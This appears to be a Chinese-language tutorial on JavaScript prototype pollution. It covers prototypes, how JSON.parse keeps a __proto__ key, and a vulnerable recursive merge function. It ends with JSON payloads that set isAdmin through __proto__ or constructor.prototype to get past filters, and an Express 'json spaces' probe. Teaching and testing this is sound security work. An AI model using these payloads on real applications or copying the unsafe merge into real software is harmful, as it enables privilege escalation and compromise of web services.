JavaScript Prototype Pollution

JavaScript中的原型链污染是指攻击者通过覆盖或修改对象的原型链上的属性,从而改变对象的行为或者访问不应该访问的属性或方法

原型链污染通常发生在JavaScript对象的继承机制中,因为JavaScript是一种基于原型的语言,对象会继承其原型链上的所有属性和方法

JS原型链污染分,客户端原型污染、服务端原型污染

JavaScript 原型

JavaScript 中的原型是一个对象,它在创建新对象时被用来作为新对象的初始属性

1
2
3
4
5
6
7
username = ""
username.__proto__
username['__proto__']

username.__proto__ // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null

JavaScript 原型链

原型链实现继承

当一个新对象被创建时,它会从构造函数的 prototype 属性指向的对象那里继承属性和方法

1
2
3
4
5
6
7
8
9
10
11
12
13
function Parent () {
this.name = 'xxxx'
}
Parent.prototype.getName = function () {
console.log(this.name)
}

function Child () {}
Child.prototype = new Parent()

var child1 = new Child()
console.log(child1.getName()) // xxxx

prototype & proto

  1. prototype
    • prototype 是函数对象特有的属性,每个函数都有一个 prototype 属性,这个prototype属性是一个指向原型对象的指针,它包含了可以由该函数的实例继承的属性和方法
    • 当你创建一个新的函数时,JavaScript 自动为该函数创建一个 prototype 对象,并赋值给 prototype 属性
    • 通过 prototype 对象,你可以定义函数的共享属性和方法,它将被该函数的所有实例所共享
  2. proto
    • __proto__ 是每个对象都具有的属性,用于指向其构造函数的原型。它是一个指向该对象的原型链上一层的链接
    • __proto__ 属性是非标准的,尽管大多数现代浏览器都支持它,但它已经被 ECMAScript 6 标准中的 Object.getPrototypeOf 方法所替代
    • __proto__ 主要用于获取和设置对象的原型
1
2
3
4
const object = {}
console.log(object.__proto__ === Object.prototype) // true
console.log(Object.getPrototypeOf(object) === Object.prototype) // true

总结一下:

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

JSON.parse()

JSON.parse()还将 JSON 对象中的任何键视为任意字符串,包括__proto__这为原型污染提供了一个潜在载体

1
2
3
4
5
6
const objectLiteral = {__proto__: {evilProperty: 'payload'}};
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');

objectLiteral.hasOwnProperty('__proto__'); // false
objectFromJson.hasOwnProperty('__proto__'); // true
s

Node.js,hasOwnProperty函数用于检查对象自身是否包含指定的属性(即不包括从原型链继承的属性)

原型链污染

哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
// 如果target与source有相同的键名,则让target的键值为source的键值
merge(target[key], source[key])
} else {
// 如果target与source没有相通的键名,则直接在target新建键名并赋给键值
target[key] = source[key]
}
}
}

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b) // 1 2

o3 = {}
console.log(o3.b) // 2

example

image-20240523091004879

绕过filter

每个构造函数(constructor)都有一个原型对象(prototype) constructor.prototype ==== __proto__

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 1
{
"__proto__":{
"isAdmin":true
}
}

// 2
{
"constructor": {
"prototype": {
"isAdmin":true
}
}
}

// payload,修改 Content-Type: application/json

JSON 空格覆盖

Express 框架提供了一个json spaces选项,使您能够配置用于缩进响应中任何 JSON 数据的空格数

1
2
3
4
5
{
"__proto__":{
"json spaces":10
}
}
⬆︎TOP